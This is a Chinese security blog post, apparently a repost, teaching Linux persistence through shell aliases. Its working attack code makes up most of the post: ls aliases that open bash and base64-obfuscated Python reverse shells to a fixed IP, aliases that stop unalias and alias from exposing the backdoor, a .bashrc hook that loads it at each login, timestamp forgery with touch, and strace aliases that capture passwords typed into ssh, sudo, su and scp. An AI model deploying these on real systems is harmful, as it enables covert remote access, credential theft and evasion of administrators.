Linux权限维持-SSH Keylogger alias

admin 2024年2月23日04:03:20评论14 views字数 4074阅读13分34秒阅读模式
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关,如有侵权,告知即删并致歉,感谢!

alias是什么

Linux alias 命令用于设置指令的别名,用户可利用 alias,自定指令的别名, 它可以使您以一种更简单和易于记忆的方式执行命令,而不必每次都键入完整的命令。 若仅输入 alias,则可列出目前所有的别名设置。 

alias 的效果仅在该次登入的操作有效,若想要每次登入都生效,可在 .profile 或 .cshrc 中设定指令的别名。

alias命令效果

定义:alias ls="ls -lsa"
删除:unalias ls
没有这个命令还是需要安装一下,我这里用我的centos7做演示:yum install strace

未设置前

Linux权限维持-SSH Keylogger alias

设置后

Linux权限维持-SSH Keylogger alias

取消alias

Linux权限维持-SSH Keylogger alias

alias别名反弹shell

alias ls='alerts(){ ls $* --color=auto; bash -i >& /dev/tcp/192.168.100.7/1234 0>&1; }; alerts'
Linux权限维持-SSH Keylogger alias

因为我们把ls的功能换了所以他会卡住

alias别名Python反弹

这里根据目标环境进行更改,需要把base64解码把IP改为自己的IP再编码使用。

# Python3
alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'''UTF-8''')}[sys.version_info[0]]('''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4xMDAuNyIsIDEyMzQpKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMCkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDEpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAyKQogICAgICAgIHAgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwgIi1pIl0pCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgZXhpdCgp''')))";};alerts'

#
Pyhton2
alias ls='alerts(){ ls $* --color=auto;python -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'''UTF-8''')}[sys.version_info[0]]('''aW1wb3J0IG9zLCBzb2NrZXQsIHN1YnByb2Nlc3MKCmRlZiBpbnRlcmFjdChzb2NrKToKICAgIG9zLmR1cDIoc29jay5maWxlbm8oKSwgMCkKICAgIG9zLmR1cDIoc29jay5maWxlbm8oKSwgMSkKICAgIG9zLmR1cDIoc29jay5maWxlbm8oKSwgMikKICAgIHAgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwgIi1pIl0pCgppZiBfX25hbWVfXyA9PSAnX19tYWluX18nOgogICAgcmV0ID0gb3MuZm9yaygpCiAgICBpZiByZXQgPiAwOgogICAgICAgIGV4aXQoKQogICAgZWxzZToKICAgICAgICB0cnk6CiAgICAgICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgICAgIHMuY29ubmVjdCgoIjE5Mi4xNjguMTAwLjciLCAxMjM0KSkKICAgICAgICAgICAgaW50ZXJhY3QocykKICAgICAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgICAgIGV4aXQoKQ==''')))";};alerts'

alias后门隐藏

我们需要隐藏alias维持,并且让所有登录的人中招。 常见自启程序:etc/profile 、 /etc/bashrc 、~/.bashrc 、~/.bash_profile 、~/.profile、~/.bash_logout、~/.bash_aliases 我们就选择最常见的~/.bashrc 作为演示,好吧script好像打错了,不要在意细节,继续往下看。

Linux权限维持-SSH Keylogger alias

找一个合适的路径文件,写入以下内容作为演示。

alias ls='alerts(){ ls $* --color=auto; bash -i >& /dev/tcp/192.168.100.7/1234 0>&1; }; alerts'

alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'

alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'''/";};alerts'

第一条命令我们大概都知道是反弹shell的意思 我们看后面两条复杂的,这里直接给出GPT的分析

Linux权限维持-SSH Keylogger alias

简单说就是封锁了取消ls别名的这个效果。

cat <<EOL > /tmp/alias/scirpt-update
alias ls='alerts(){ ls $* --color=auto; bash -i >& /dev/tcp/192.168.100.7/1234 0>&1; }; alerts'

alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'

alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'''/";};alerts'
EOL

将这个文件插入到    ~/.bashrc 自启中 下面这个注释可以自己换,我这里就不添加了,可以迷惑管理员。

echo -e 'nif [ -f /tmp/alias/scirpt-update ]; thenn    . /tmp/alias/scirpt-updatenfin' >> ~/.bashrc

我们还可以修改后门文件的时间进行伪造

stat /etc/passwd-
touch -acmr /tmp/alias/scirpt-update /etc/passwd-
Linux权限维持-SSH Keylogger alias
Linux权限维持-SSH Keylogger alias

登录系统后执行ls就触发了我们的后门。

alias Keylogger

之前讲了strace可以记录登录到本机的密码。 那么alias可以做到从本机登录另外一台服务器的密码。

echo "alias ssh='strace -o /tmp/.ssh.log -s 2048 ssh'" >> ~/.bashrc && source ~/.bashrc
Linux权限维持-SSH Keylogger alias

当我们登录到别的VPS后,可以使用grep筛选密码。

grep '^read(4' /tmp/.ssh.log

同理alias还可以监控比如sudo,scp,su等命令

alias scp='strace -o /tmp/scppwd-`date '+%d%h%m%s'`.log -e read,write,connect -s 2048 scp' 
alias sudo='strace -f -e trace=read,write -o /tmp/.sudo-`date '+%d%h%m%s'`.log -s 2048 sudo'   
alias su='strace -f -e trace=read,write -o /tmp/.su-`date '+%d%h%m%s'`.log -s 2048 su'

筛选的话,各位自己进行查看即可,然后根据文件输出规则用grep筛选即可。这些权限维持手法都可以组合使用。



点赞 将是对作者最大的鼓励,点击下方关注我!!!

原文始发于微信公众号(河马安全区):Linux权限维持-SSH Keylogger alias

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月23日04:03:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux权限维持-SSH Keylogger aliashttps://cn-sec.com/archives/2517084.html

发表评论

匿名网友 填写信息